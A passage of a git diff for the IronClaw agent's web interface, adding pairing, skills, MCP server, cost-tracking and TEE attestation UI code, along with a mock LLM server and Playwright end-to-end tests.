window.open(parsed.href, '_blank', 'width=600,height=700'); +} + +// --- Pairing --- + +function loadPairingRequests(channel, container) { + apiFetch('/api/pairing/' + encodeURIComponent(channel)) + .then(data => { + container.innerHTML = ''; + if (!data.requests || data.requests.length === 0) return; + + const heading = document.createElement('div'); + heading.className = 'pairing-heading'; + heading.textContent = 'Pending pairing requests'; + container.appendChild(heading); + + data.requests.forEach(req => { + const row = document.createElement('div'); + row.className = 'pairing-row'; + + const code = document.createElement('span'); + code.className = 'pairing-code'; + code.textContent = req.code; + row.appendChild(code); + + const sender = document.createElement('span'); + sender.className = 'pairing-sender'; + sender.textContent = 'from ' + req.sender_id; + row.appendChild(sender); + + const btn = document.createElement('button'); + btn.className = 'btn-ext activate'; + btn.textContent = 'Approve'; + btn.addEventListener('click', () => approvePairing(channel, req.code, container)); + row.appendChild(btn); + + container.appendChild(row); + }); + }) + .catch(() => {}); +} + +function approvePairing(channel, code, container) { + apiFetch('/api/pairing/' + encodeURIComponent(channel) + '/approve', { + method: 'POST', + body: { code }, + }).then(res => { + if (res.success) { + showToast('Pairing approved', 'success'); + loadExtensions(); + } else { + showToast(res.message || 'Approve failed', 'error'); + } + }).catch(err => showToast('Error: ' + err.message, 'error')); +} + +function startPairingPoll() { + stopPairingPoll(); + pairingPollInterval = setInterval(function() { + document.querySelectorAll('.ext-pairing[data-channel]').forEach(function(el) { + loadPairingRequests(el.getAttribute('data-channel'), el); + }); + }, 10000); +} + +function stopPairingPoll() { + if (pairingPollInterval) { + clearInterval(pairingPollInterval); + pairingPollInterval = null; + } +} + +// --- WASM channel stepper --- + +function renderWasmChannelStepper(ext) { + var stepper = document.createElement('div'); + stepper.className = 'ext-stepper'; + + var status = ext.activation_status || 'installed'; + + var steps = [ + { label: 'Installed', key: 'installed' }, + { label: 'Configured', key: 'configured' }, + { label: status === 'pairing' ? 'Awaiting Pairing' : 'Active', key: 'active' }, + ]; + + var reachedIdx; + if (status === 'active') reachedIdx = 2; + else if (status === 'pairing') reachedIdx = 2; + else if (status === 'failed') reachedIdx = 2; + else if (status === 'configured') reachedIdx = 1; + else reachedIdx = 0; + + for (var i = 0; i < steps.length; i++) { + if (i > 0) { + var connector = document.createElement('div'); + connector.className = 'stepper-connector' + (i <= reachedIdx ? ' completed' : ''); + stepper.appendChild(connector); + } + + var step = document.createElement('div'); + var stepState; + if (i < reachedIdx) { + stepState = 'completed'; + } else if (i === reachedIdx) { + if (status === 'failed') { + stepState = 'failed'; + } else if (status === 'pairing') { + stepState = 'in-progress'; + } else if (status === 'active' || status === 'configured' || status === 'installed') { + stepState = 'completed'; + } else { + stepState = 'pending'; + } + } else { + stepState = 'pending'; + } + step.className = 'stepper-step ' + stepState; + + var circle = document.createElement('span'); + circle.className = 'stepper-circle'; + if (stepState === 'completed') circle.textContent = '\u2713'; + else if (stepState === 'failed') circle.textContent = '\u2717'; + step.appendChild(circle); + + var label = document.createElement('span'); + label.className = 'stepper-label'; + label.textContent = steps[i].label; + step.appendChild(label); + + stepper.appendChild(step); + } + + return stepper; +} + // --- Jobs --- let currentJobId = null; @@ -1372,9 +2698,8 @@ function renderJobsList(jobs) { let actionBtns = ''; if (job.state === 'pending' || job.state === 'in_progress') { actionBtns = ''; - } else if (job.state === 'failed' || job.state === 'interrupted') { - actionBtns = ''; } + // Retry is only shown in the detail view where can_restart is available. return '' + '' + shortId + '' @@ -1403,10 +2728,12 @@ function restartJob(jobId) { apiFetch('/api/jobs/' + jobId + '/restart', { method: 'POST' }) .then((res) => { showToast('Job restarted as ' + (res.new_job_id || '').substring(0, 8), 'success'); - loadJobs(); }) .catch((err) => { showToast('Failed to restart job: ' + err.message, 'error'); + }) + .finally(() => { + loadJobs(); }); } @@ -1441,8 +2768,8 @@ function renderJobDetail(job) { + '

' + escapeHtml(job.title) + '

' + '' + escapeHtml(job.state) + ''; - if (job.state === 'failed' || job.state === 'interrupted') { - headerHtml += ''; + if ((job.state === 'failed' || job.state === 'interrupted') && job.can_restart === true) { + headerHtml += ''; } if (job.browse_url) { headerHtml += 'Browse Files'; @@ -1689,7 +3016,7 @@ function renderJobActivity(container, job) { activityCurrentJobId = job ? job.id : null; activityRenderedLiveIndex = 0; - container.innerHTML = '
' + let html = '
' + '' + '' + '
' - + '
' - + '
' - + '' - + '' - + '' - + '
'; + + '
'; + + if (job && job.can_prompt === true) { + html += '
' + + '' + + '' + + '' + + '
'; + } + + container.innerHTML = html; document.getElementById('activity-type-filter').addEventListener('change', applyActivityFilter); @@ -1712,9 +3044,9 @@ function renderJobActivity(container, job) { const sendBtn = document.getElementById('activity-send-btn'); const doneBtn = document.getElementById('activity-done-btn'); - sendBtn.addEventListener('click', () => sendJobPrompt(job.id, false)); - doneBtn.addEventListener('click', () => sendJobPrompt(job.id, true)); - input.addEventListener('keydown', (e) => { + if (sendBtn) sendBtn.addEventListener('click', () => sendJobPrompt(job.id, false)); + if (doneBtn) doneBtn.addEventListener('click', () => sendJobPrompt(job.id, true)); + if (input) input.addEventListener('keydown', (e) => { if (e.key === 'Enter') sendJobPrompt(job.id, false); }); @@ -1781,14 +3113,20 @@ function appendActivityEvent(terminal, eventType, data) { + escapeHtml(typeof data.input === 'string' ? data.input : JSON.stringify(data.input, null, 2)) + '

'; break; - case 'tool_result': - el.innerHTML = '
' - + '✓ ' + case 'tool_result': { + const trSuccess = data.success !== false; + const trIcon = trSuccess ? '✓' : '✗'; + const trOutput = data.output || data.error || ''; + const trClass = 'activity-tool-block activity-tool-result' + + (trSuccess ? '' : ' activity-tool-error'); + el.innerHTML = '
' + + '' + trIcon + ' ' + escapeHtml(data.tool_name || 'result') + '
'
-        + escapeHtml(data.output || '')
+        + escapeHtml(trOutput)
         + '
'; break; + } case 'status': el.innerHTML = '' + escapeHtml(data.message || '') + ''; break; @@ -1796,7 +3134,7 @@ function appendActivityEvent(terminal, eventType, data) { el.className += ' activity-final'; const success = data.success !== false; el.innerHTML = '' - + escapeHtml(data.message || data.status || 'done') + ''; + + escapeHtml(data.message || data.error || data.status || 'done') + ''; if (data.session_id) { el.innerHTML += ' session: ' + escapeHtml(data.session_id) + ''; } @@ -1981,7 +3319,9 @@ function renderRoutineDetail(routine) { + '' + formatDate(run.started_at) + '' + '' + formatDate(run.completed_at) + '' + '' + escapeHtml(run.status) + '' - + '' + escapeHtml(run.result_summary || '-') + '' + + '' + escapeHtml(run.result_summary || '-') + + (run.job_id ? ' [view job]' : '') + + '' + '' + (run.tokens_used != null ? run.tokens_used : '-') + '' + ''; } @@ -1993,7 +3333,11 @@ function renderRoutineDetail(routine) { function triggerRoutine(id) { apiFetch('/api/routines/' + id + '/trigger', { method: 'POST' }) - .then(() => showToast('Routine triggered', 'success')) + .then(() => { + showToast('Routine triggered', 'success'); + if (currentRoutineId === id) openRoutineDetail(id); + else loadRoutines(); + }) .catch((err) => showToast('Trigger failed: ' + err.message, 'error')); } @@ -2048,13 +3392,78 @@ function startGatewayStatusPolling() { gatewayStatusInterval = setInterval(fetchGatewayStatus, 30000); } +function formatTokenCount(n) { + if (n == null || n === 0) return '0'; + if (n >= 1000000) return (n / 1000000).toFixed(1) + 'M'; + if (n >= 1000) return (n / 1000).toFixed(1) + 'k'; + return '' + n; +} + +function formatCost(costStr) { + if (!costStr) return '$0.00'; + var n = parseFloat(costStr); + if (n < 0.01) return '$' + n.toFixed(4); + return '$' + n.toFixed(2); +} + +function shortModelName(model) { + // Strip provider prefix and shorten common model names + var m = model.indexOf('/') >= 0 ? model.split('/').pop() : model; + // Shorten dated suffixes + m = m.replace(/-20\d{6}$/, ''); + return m; +} + function fetchGatewayStatus() { - apiFetch('/api/gateway/status').then((data) => { - const popover = document.getElementById('gateway-popover'); - popover.innerHTML = '
SSE clients' + (data.sse_clients || 0) + '
' - + '
Log clients' + (data.log_clients || 0) + '
' - + '
Uptime' + formatDuration(data.uptime_secs) + '
'; - }).catch(() => {}); + apiFetch('/api/gateway/status').then(function(data) { + var popover = document.getElementById('gateway-popover'); + var html = ''; + + // Version + if (data.version) { + html += '
IronClaw v' + escapeHtml(data.version) + '
'; + html += '
'; + } + + // Connection info + html += '
Connections
'; + html += '
SSE' + (data.sse_connections || 0) + '
'; + html += '
WebSocket' + (data.ws_connections || 0) + '
'; + html += '
Uptime' + formatDuration(data.uptime_secs) + '
'; + + // Cost tracker + if (data.daily_cost != null) { + html += '
'; + html += '
Cost Today
'; + html += '
Spent' + formatCost(data.daily_cost) + '
'; + if (data.actions_this_hour != null) { + html += '
Actions/hr' + data.actions_this_hour + '
'; + } + } + + // Per-model token usage + if (data.model_usage && data.model_usage.length > 0) { + html += '
'; + html += '
Token Usage
'; + data.model_usage.sort(function(a, b) { + return (b.input_tokens + b.output_tokens) - (a.input_tokens + a.output_tokens); + }); + for (var i = 0; i < data.model_usage.length; i++) { + var m = data.model_usage[i]; + var name = escapeHtml(shortModelName(m.model)); + html += '
' + + '' + name + '' + + '' + escapeHtml(formatCost(m.cost)) + '' + + '
'; + html += '
' + + 'in: ' + formatTokenCount(m.input_tokens) + '' + + 'out: ' + formatTokenCount(m.output_tokens) + '' + + '
'; + } + } + + popover.innerHTML = html; + }).catch(function() {}); } // Show/hide popover on hover @@ -2065,34 +3474,482 @@ document.getElementById('gateway-status-trigger').addEventListener('mouseleave', document.getElementById('gateway-popover').classList.remove('visible'); }); +// --- TEE attestation --- + +let teeInfo = null; +let teeReportCache = null; +let teeReportLoading = false; + +function teeApiBase() { + var parts = window.location.hostname.split('.'); + if (parts.length < 2) return null; + var domain = parts.slice(1).join('.'); + return window.location.protocol + '//api.' + domain; +} + +function teeInstanceName() { + return window.location.hostname.split('.')[0]; +} + +function checkTeeStatus() { + var base = teeApiBase(); + if (!base) return; + var name = teeInstanceName(); + fetch(base + '/instances/' + encodeURIComponent(name) + '/attestation').then(function(res) { + if (!res.ok) throw new Error(res.status); + return res.json(); + }).then(function(data) { + teeInfo = data; + document.getElementById('tee-shield').style.display = 'flex'; + }).catch(function() {}); +} + +function fetchTeeReport() { + if (teeReportCache) { + renderTeePopover(teeReportCache); + return; + } + if (teeReportLoading) return; + teeReportLoading = true; + var base = teeApiBase(); + if (!base) return; + var popover = document.getElementById('tee-popover'); + popover.innerHTML = '
Loading attestation report...
'; + fetch(base + '/attestation/report').then(function(res) { + if (!res.ok) throw new Error(res.status); + return res.json(); + }).then(function(data) { + teeReportCache = data; + renderTeePopover(data); + }).catch(function() { + popover.innerHTML = '
Could not load attestation report
'; + }).finally(function() { + teeReportLoading = false; + }); +} + +function renderTeePopover(report) { + var popover = document.getElementById('tee-popover'); + var digest = (teeInfo && teeInfo.image_digest) || 'N/A'; + var fingerprint = report.tls_certificate_fingerprint || 'N/A'; + var reportData = report.report_data || ''; + var vmConfig = report.vm_config || 'N/A'; + var truncated = reportData.length > 32 ? reportData.slice(0, 32) + '...' : reportData; + popover.innerHTML = '
' + + '' + + 'TEE Attestation
' + + '
Image Digest
' + + '
' + escapeHtml(digest) + '
' + + '
TLS Certificate Fingerprint
' + + '
' + escapeHtml(fingerprint) + '
' + + '
Report Data
' + + '
' + escapeHtml(truncated) + '
' + + '
VM Config
' + + '
' + escapeHtml(vmConfig) + '
' + + '
' + + '
'; +} + +function copyTeeReport() { + if (!teeReportCache) return; + var combined = Object.assign({}, teeReportCache, teeInfo || {}); + navigator.clipboard.writeText(JSON.stringify(combined, null, 2)).then(function() { + showToast('Attestation report copied', 'success'); + }).catch(function() { + showToast('Failed to copy report', 'error'); + }); +} + +document.getElementById('tee-shield').addEventListener('mouseenter', function() { + fetchTeeReport(); + document.getElementById('tee-popover').classList.add('visible'); +}); +document.getElementById('tee-shield').addEventListener('mouseleave', function() { + document.getElementById('tee-popover').classList.remove('visible'); +}); + // --- Extension install --- -function installExtension() { - const name = document.getElementById('ext-install-name').value.trim(); +function installWasmExtension() { + var name = document.getElementById('wasm-install-name').value.trim(); if (!name) { showToast('Extension name is required', 'error'); return; } - const url = document.getElementById('ext-install-url').value.trim(); - const kind = document.getElementById('ext-install-kind').value; + var url = document.getElementById('wasm-install-url').value.trim(); + if (!url) { + showToast('URL to .tar.gz bundle is required', 'error'); + return; + } apiFetch('/api/extensions/install', { method: 'POST', - body: { name, url: url || undefined, kind }, - }).then((res) => { + body: { name: name, url: url, kind: 'wasm_tool' }, + }).then(function(res) { if (res.success) { showToast('Installed ' + name, 'success'); - document.getElementById('ext-install-name').value = ''; - document.getElementById('ext-install-url').value = ''; + document.getElementById('wasm-install-name').value = ''; + document.getElementById('wasm-install-url').value = ''; loadExtensions(); } else { showToast('Install failed: ' + (res.message || 'unknown error'), 'error'); } - }).catch((err) => { + }).catch(function(err) { showToast('Install failed: ' + err.message, 'error'); }); } +function addMcpServer() { + var name = document.getElementById('mcp-install-name').value.trim(); + if (!name) { + showToast('Server name is required', 'error'); + return; + } + var url = document.getElementById('mcp-install-url').value.trim(); + if (!url) { + showToast('MCP server URL is required', 'error'); + return; + } + + apiFetch('/api/extensions/install', { + method: 'POST', + body: { name: name, url: url, kind: 'mcp_server' }, + }).then(function(res) { + if (res.success) { + showToast('Added MCP server ' + name, 'success'); + document.getElementById('mcp-install-name').value = ''; + document.getElementById('mcp-install-url').value = ''; + loadExtensions(); + } else { + showToast('Failed to add MCP server: ' + (res.message || 'unknown error'), 'error'); + } + }).catch(function(err) { + showToast('Failed to add MCP server: ' + err.message, 'error'); + }); +} + +// --- Skills --- + +function loadSkills() { + var skillsList = document.getElementById('skills-list'); + apiFetch('/api/skills').then(function(data) { + if (!data.skills || data.skills.length === 0) { + skillsList.innerHTML = '
No skills installed
'; + return; + } + skillsList.innerHTML = ''; + for (var i = 0; i < data.skills.length; i++) { + skillsList.appendChild(renderSkillCard(data.skills[i])); + } + }).catch(function(err) { + skillsList.innerHTML = '
Failed to load skills: ' + escapeHtml(err.message) + '
'; + }); +} + +function renderSkillCard(skill) { + var card = document.createElement('div'); + card.className = 'ext-card'; + + var header = document.createElement('div'); + header.className = 'ext-header'; + + var name = document.createElement('span'); + name.className = 'ext-name'; + name.textContent = skill.name; + header.appendChild(name); + + var trust = document.createElement('span'); + var trustClass = skill.trust.toLowerCase() === 'trusted' ? 'trust-trusted' : 'trust-installed'; + trust.className = 'skill-trust ' + trustClass; + trust.textContent = skill.trust; + header.appendChild(trust); + + var version = document.createElement('span'); + version.className = 'skill-version'; + version.textContent = 'v' + skill.version; + header.appendChild(version); + + card.appendChild(header); + + var desc = document.createElement('div'); + desc.className = 'ext-desc'; + desc.textContent = skill.description; + card.appendChild(desc); + + if (skill.keywords && skill.keywords.length > 0) { + var kw = document.createElement('div'); + kw.className = 'ext-keywords'; + kw.textContent = 'Activates on: ' + skill.keywords.join(', '); + card.appendChild(kw); + } + + var actions = document.createElement('div'); + actions.className = 'ext-actions'; + + // Only show Remove for registry-installed skills, not user-placed trusted skills + if (skill.trust.toLowerCase() !== 'trusted') { + var removeBtn = document.createElement('button'); + removeBtn.className = 'btn-ext remove'; + removeBtn.textContent = 'Remove'; + removeBtn.addEventListener('click', function() { removeSkill(skill.name); }); + actions.appendChild(removeBtn); + } + + card.appendChild(actions); + return card; +} + +function searchClawHub() { + var input = document.getElementById('skill-search-input'); + var query = input.value.trim(); + if (!query) return; + + var resultsDiv = document.getElementById('skill-search-results'); + resultsDiv.innerHTML = '
Searching...
'; + + apiFetch('/api/skills/search', { + method: 'POST', + body: { query: query }, + }).then(function(data) { + resultsDiv.innerHTML = ''; + + // Show registry error as a warning banner if present + if (data.catalog_error) { + var warning = document.createElement('div'); + warning.className = 'empty-state'; + warning.style.color = '#f0ad4e'; + warning.style.borderLeft = '3px solid #f0ad4e'; + warning.style.paddingLeft = '12px'; + warning.style.marginBottom = '16px'; + warning.textContent = 'Could not reach ClawHub registry: ' + data.catalog_error; + resultsDiv.appendChild(warning); + } + + // Show catalog results + if (data.catalog && data.catalog.length > 0) { + // Build a set of installed skill names for quick lookup + var installedNames = {}; + if (data.installed) { + for (var j = 0; j < data.installed.length; j++) { + installedNames[data.installed[j].name] = true; + } + } + + for (var i = 0; i < data.catalog.length; i++) { + var card = renderCatalogSkillCard(data.catalog[i], installedNames); + card.style.animationDelay = (i * 0.06) + 's'; + resultsDiv.appendChild(card); + } + } + + // Show matching installed skills too + if (data.installed && data.installed.length > 0) { + for (var k = 0; k < data.installed.length; k++) { + var installedCard = renderSkillCard(data.installed[k]); + installedCard.style.animationDelay = ((data.catalog ? data.catalog.length : 0) + k) * 0.06 + 's'; + installedCard.classList.add('skill-search-result'); + resultsDiv.appendChild(installedCard); + } + } + + if (resultsDiv.children.length === 0) { + resultsDiv.innerHTML = '
No skills found for "' + escapeHtml(query) + '"
'; + } + }).catch(function(err) { + resultsDiv.innerHTML = '
Search failed: ' + escapeHtml(err.message) + '
'; + }); +} + +function renderCatalogSkillCard(entry, installedNames) { + var card = document.createElement('div'); + card.className = 'ext-card ext-available skill-search-result'; + + var header = document.createElement('div'); + header.className = 'ext-header'; + + var name = document.createElement('a'); + name.className = 'ext-name'; + name.textContent = entry.name || entry.slug; + name.href = 'https://clawhub.ai/skills/' + encodeURIComponent(entry.slug); + name.target = '_blank'; + name.rel = 'noopener'; + name.style.textDecoration = 'none'; + name.style.color = 'inherit'; + name.title = 'View on ClawHub'; + header.appendChild(name); + + if (entry.version) { + var version = document.createElement('span'); + version.className = 'skill-version'; + version.textContent = 'v' + entry.version; + header.appendChild(version); + } + + card.appendChild(header); + + if (entry.description) { + var desc = document.createElement('div'); + desc.className = 'ext-desc'; + desc.textContent = entry.description; + card.appendChild(desc); + } + + // Metadata row: owner, stars, downloads, recency + var meta = document.createElement('div'); + meta.className = 'ext-meta'; + meta.style.fontSize = '11px'; + meta.style.color = '#888'; + meta.style.marginTop = '6px'; + + function addMetaSep() { + if (meta.children.length > 0) { + meta.appendChild(document.createTextNode(' \u00b7 ')); + } + } + + if (entry.owner) { + var ownerSpan = document.createElement('span'); + ownerSpan.textContent = 'by ' + entry.owner; + meta.appendChild(ownerSpan); + } + + if (entry.stars != null) { + addMetaSep(); + var starsSpan = document.createElement('span'); + starsSpan.textContent = entry.stars + ' stars'; + meta.appendChild(starsSpan); + } + + if (entry.downloads != null) { + addMetaSep(); + var dlSpan = document.createElement('span'); + dlSpan.textContent = formatCompactNumber(entry.downloads) + ' downloads'; + meta.appendChild(dlSpan); + } + + if (entry.updatedAt) { + var ago = formatTimeAgo(entry.updatedAt); + if (ago) { + addMetaSep(); + var updatedSpan = document.createElement('span'); + updatedSpan.textContent = 'updated ' + ago; + meta.appendChild(updatedSpan); + } + } + + if (meta.children.length > 0) { + card.appendChild(meta); + } + + var actions = document.createElement('div'); + actions.className = 'ext-actions'; + + var slug = entry.slug || entry.name; + var isInstalled = installedNames[entry.name] || installedNames[slug]; + + if (isInstalled) { + var label = document.createElement('span'); + label.className = 'ext-active-label'; + label.textContent = 'Installed'; + actions.appendChild(label); + } else { + var installBtn = document.createElement('button'); + installBtn.className = 'btn-ext install'; + installBtn.textContent = 'Install'; + installBtn.addEventListener('click', (function(s, btn) { + return function() { + if (!confirm('Install skill "' + s + '" from ClawHub?')) return; + btn.disabled = true; + btn.textContent = 'Installing...'; + installSkill(s, null, btn); + }; + })(slug, installBtn)); + actions.appendChild(installBtn); + } + + card.appendChild(actions); + return card; +} + +function formatCompactNumber(n) { + if (n >= 1000000) return (n / 1000000).toFixed(1) + 'M'; + if (n >= 1000) return (n / 1000).toFixed(1) + 'K'; + return '' + n; +} + +function formatTimeAgo(epochMs) { + var now = Date.now(); + var diff = now - epochMs; + if (diff < 0) return null; + var minutes = Math.floor(diff / 60000); + if (minutes < 60) return minutes <= 1 ? 'just now' : minutes + 'm ago'; + var hours = Math.floor(minutes / 60); + if (hours < 24) return hours + 'h ago'; + var days = Math.floor(hours / 24); + if (days < 30) return days + 'd ago'; + var months = Math.floor(days / 30); + if (months < 12) return months + 'mo ago'; + return Math.floor(months / 12) + 'y ago'; +} + +function installSkill(nameOrSlug, url, btn) { + var body = { name: nameOrSlug, slug: nameOrSlug }; + if (url) body.url = url; + + apiFetch('/api/skills/install', { + method: 'POST', + headers: { 'X-Confirm-Action': 'true' }, + body: body, + }).then(function(res) { + if (res.success) { + showToast('Installed skill "' + nameOrSlug + '"', 'success'); + } else { + showToast('Install failed: ' + (res.message || 'unknown error'), 'error'); + } + loadSkills(); + if (btn) { btn.disabled = false; btn.textContent = 'Install'; } + }).catch(function(err) { + showToast('Install failed: ' + err.message, 'error'); + if (btn) { btn.disabled = false; btn.textContent = 'Install'; } + }); +} + +function removeSkill(name) { + if (!confirm('Remove skill "' + name + '"?')) return; + apiFetch('/api/skills/' + encodeURIComponent(name), { + method: 'DELETE', + headers: { 'X-Confirm-Action': 'true' }, + }).then(function(res) { + if (res.success) { + showToast('Removed skill "' + name + '"', 'success'); + } else { + showToast('Remove failed: ' + (res.message || 'unknown error'), 'error'); + } + loadSkills(); + }).catch(function(err) { + showToast('Remove failed: ' + err.message, 'error'); + }); +} + +function installSkillFromForm() { + var name = document.getElementById('skill-install-name').value.trim(); + if (!name) { showToast('Skill name is required', 'error'); return; } + var url = document.getElementById('skill-install-url').value.trim() || null; + if (url && !url.startsWith('https://')) { + showToast('URL must use HTTPS', 'error'); + return; + } + if (!confirm('Install skill "' + name + '"?')) return; + installSkill(name, url, null); + document.getElementById('skill-install-name').value = ''; + document.getElementById('skill-install-url').value = ''; +} + +// Wire up Enter key on search input +document.getElementById('skill-search-input').addEventListener('keydown', function(e) { + if (e.key === 'Enter') searchClawHub(); +}); + // --- Keyboard shortcuts --- document.addEventListener('keydown', (e) => { @@ -2103,7 +3960,7 @@ document.addEventListener('keydown', (e) => { // Mod+1-6: switch tabs if (mod && e.key >= '1' && e.key <= '6') { e.preventDefault(); - const tabs = ['chat', 'memory', 'jobs', 'routines', 'logs', 'extensions']; + const tabs = ['chat', 'memory', 'jobs', 'routines', 'extensions', 'skills']; const idx = parseInt(e.key) - 1; if (tabs[idx]) switchTab(tabs[idx]); return; @@ -2127,8 +3984,13 @@ document.addEventListener('keydown', (e) => { return; } - // Escape: close job detail or blur input + // Escape: close autocomplete, job detail, or blur input if (e.key === 'Escape') { + const acEl = document.getElementById('slash-autocomplete'); + if (acEl && acEl.style.display !== 'none') { + hideSlashAutocomplete(); + return; + } if (currentJobId) { closeJobDetail(); } else if (inInput) { diff --git a/src/channels/web/static/favicon.ico b/src/channels/web/static/favicon.ico new file mode 100644 index 00000000..2f144abd Binary files /dev/null and b/src/channels/web/static/favicon.ico differ diff --git a/src/channels/web/static/index.html b/src/channels/web/static/index.html index ddcf6892..be8a0c9e 100644 --- a/src/channels/web/static/index.html +++ b/src/channels/web/static/index.html @@ -2,8 +2,12 @@ - + IronClaw + + + + and and end of content.'), +] +DEFAULT_RESPONSE = "I understand your request." + + +def match_response(messages: list[dict]) -> str: + """Find canned response for the last user message.""" + for msg in reversed(messages): + if msg.get("role") == "user": + content = msg.get("content", "") + # Handle content that may be a list (multi-modal) + if isinstance(content, list): + content = " ".join( + part.get("text", "") for part in content if part.get("type") == "text" + ) + for pattern, response in CANNED_RESPONSES: + if pattern.search(content): + return response + return DEFAULT_RESPONSE + return DEFAULT_RESPONSE + + +async def chat_completions(request: web.Request) -> web.StreamResponse: + """Handle POST /v1/chat/completions.""" + body = await request.json() + messages = body.get("messages", []) + stream = body.get("stream", False) + response_text = match_response(messages) + completion_id = f"mock-{uuid.uuid4().hex[:8]}" + + if not stream: + return web.json_response({ + "id": completion_id, + "object": "chat.completion", + "created": int(time.time()), + "model": "mock-model", + "choices": [{ + "index": 0, + "message": {"role": "assistant", "content": response_text}, + "finish_reason": "stop", + }], + "usage": {"prompt_tokens": 10, "completion_tokens": len(response_text.split()), "total_tokens": 15}, + }) + + # Streaming response: split into word-boundary chunks + resp = web.StreamResponse( + status=200, + headers={"Content-Type": "text/event-stream", "Cache-Control": "no-cache"}, + ) + await resp.prepare(request) + + # First chunk: role + chunk = { + "id": completion_id, + "object": "chat.completion.chunk", + "created": int(time.time()), + "model": "mock-model", + "choices": [{"index": 0, "delta": {"role": "assistant", "content": ""}, "finish_reason": None}], + } + await resp.write(f"data: {json.dumps(chunk)}\n\n".encode()) + + # Content chunks: split on spaces + words = response_text.split(" ") + for i, word in enumerate(words): + text = word if i == 0 else f" {word}" + chunk["choices"][0]["delta"] = {"content": text} + await resp.write(f"data: {json.dumps(chunk)}\n\n".encode()) + + # Final chunk: finish_reason + chunk["choices"][0]["delta"] = {} + chunk["choices"][0]["finish_reason"] = "stop" + await resp.write(f"data: {json.dumps(chunk)}\n\n".encode()) + await resp.write(b"data: [DONE]\n\n") + + return resp + + +async def models(_request: web.Request) -> web.Response: + """Handle GET /v1/models.""" + return web.json_response({ + "object": "list", + "data": [{"id": "mock-model", "object": "model", "owned_by": "test"}], + }) + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--port", type=int, default=0) + args = parser.parse_args() + + app = web.Application() + app.router.add_post("/v1/chat/completions", chat_completions) + app.router.add_get("/v1/models", models) + + # Use aiohttp's runner to get the actual bound port + import asyncio + + async def start(): + runner = web.AppRunner(app) + await runner.setup() + site = web.TCPSite(runner, "127.0.0.1", args.port) + await site.start() + # Extract the actual port from the bound socket + port = site._server.sockets[0].getsockname()[1] + print(f"MOCK_LLM_PORT={port}", flush=True) + # Block forever + await asyncio.Event().wait() + + asyncio.run(start()) + + +if __name__ == "__main__": + main() diff --git a/tests/e2e/pyproject.toml b/tests/e2e/pyproject.toml new file mode 100644 index 00000000..250606be --- /dev/null +++ b/tests/e2e/pyproject.toml @@ -0,0 +1,24 @@ +[project] +name = "ironclaw-e2e" +version = "0.1.0" +requires-python = ">=3.11" +dependencies = [ + "pytest>=8.0", + "pytest-asyncio>=0.23", + "pytest-playwright>=0.5", + "pytest-timeout>=2.3", + "playwright>=1.40", + "aiohttp>=3.9", + "httpx>=0.27", +] + +[project.optional-dependencies] +vision = [ + "anthropic>=0.40", +] + +[tool.pytest.ini_options] +asyncio_mode = "auto" +asyncio_default_fixture_loop_scope = "session" +asyncio_default_test_loop_scope = "session" +timeout = 120 diff --git a/tests/e2e/scenarios/__init__.py b/tests/e2e/scenarios/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/e2e/scenarios/test_chat.py b/tests/e2e/scenarios/test_chat.py new file mode 100644 index 00000000..24b3d98d --- /dev/null +++ b/tests/e2e/scenarios/test_chat.py @@ -0,0 +1,76 @@ +"""Scenario 2: Chat message round-trip via SSE streaming.""" + +import pytest +from helpers import SEL + + +async def test_send_message_and_receive_response(page): + """Type a message, receive a streamed response from mock LLM.""" + chat_input = page.locator(SEL["chat_input"]) + await chat_input.wait_for(state="visible", timeout=5000) + + # Send message + await chat_input.fill("What is 2+2?") + await chat_input.press("Enter") + + # Wait for assistant response + assistant_msg = page.locator(SEL["message_assistant"]).last + await assistant_msg.wait_for(state="visible", timeout=15000) + + # Verify user message + user_msgs = page.locator(SEL["message_user"]) + assert await user_msgs.count() >= 1 + last_user = user_msgs.last + user_text = await last_user.text_content() + assert "2+2" in user_text or "2 + 2" in user_text + + # Verify assistant response contains "4" (from mock LLM canned response) + assistant_text = await assistant_msg.text_content() + assert "4" in assistant_text, f"Expected '4' in response, got: '{assistant_text}'" + + +async def test_multiple_messages(page): + """Send two messages, verify both get responses.""" + chat_input = page.locator(SEL["chat_input"]) + await chat_input.wait_for(state="visible", timeout=5000) + + # First message + await chat_input.fill("Hello") + await chat_input.press("Enter") + + # Wait for first response + await page.locator(SEL["message_assistant"]).first.wait_for( + state="visible", timeout=15000 + ) + + # Second message + await chat_input.fill("What is 2+2?") + await chat_input.press("Enter") + + # Wait for second response (at least 2 assistant messages) + await page.wait_for_function( + """() => document.querySelectorAll('#chat-messages .message.assistant').length >= 2""", + timeout=15000, + ) + + # Verify counts + user_count = await page.locator(SEL["message_user"]).count() + assistant_count = await page.locator(SEL["message_assistant"]).count() + assert user_count >= 2, f"Expected >= 2 user messages, got {user_count}" + assert assistant_count >= 2, f"Expected >= 2 assistant messages, got {assistant_count}" + + +async def test_empty_message_not_sent(page): + """Pressing Enter with empty input should not create a message.""" + chat_input = page.locator(SEL["chat_input"]) + await chat_input.wait_for(state="visible", timeout=5000) + + initial_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count() + + # Press Enter with empty input + await chat_input.press("Enter") + + # Wait a moment and verify no new messages + await page.wait_for_timeout(2000) + final_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count() + assert final_count == initial_count, "Empty message should not create new messages" diff --git a/tests/e2e/scenarios/test_connection.py b/tests/e2e/scenarios/test_connection.py new file mode 100644 index 00000000..2ecafd04 --- /dev/null +++ b/tests/e2e/scenarios/test_connection.py @@ -0,0 +1,43 @@ +"""Scenario 1: Connection, auth, and tab navigation.""" + +import pytest +from helpers import AUTH_TOKEN, SEL, TABS + + +async def test_page_loads_and_connects(page): + """After auth, the app shows Connected status and all tabs.""" + # Connection status + status = page.locator(SEL["sse_status"]) + await status.wait_for(state="visible", timeout=10000) + text = await status.text_content() + assert text is not None + assert "connect" in text.lower(), f"Expected 'Connected', got '{text}'" + + # All 6 main tabs visible + for tab in TABS: + btn = page.locator(SEL["tab_button"].format(tab=tab)) + assert await btn.is_visible(), f"Tab button '{tab}' not visible" + + +async def test_tab_navigation(page): + """Clicking each tab shows its panel.""" + for tab in TABS: + btn = page.locator(SEL["tab_button"].format(tab=tab)) + await btn.click() + panel = page.locator(SEL["tab_panel"].format(tab=tab)) + await panel.wait_for(state="visible", timeout=5000) + + # Return to Chat tab + await page.locator(SEL["tab_button"].format(tab="chat")).click() + chat_input = page.locator(SEL["chat_input"]) + await chat_input.wait_for(state="visible", timeout=5000) + + +async def 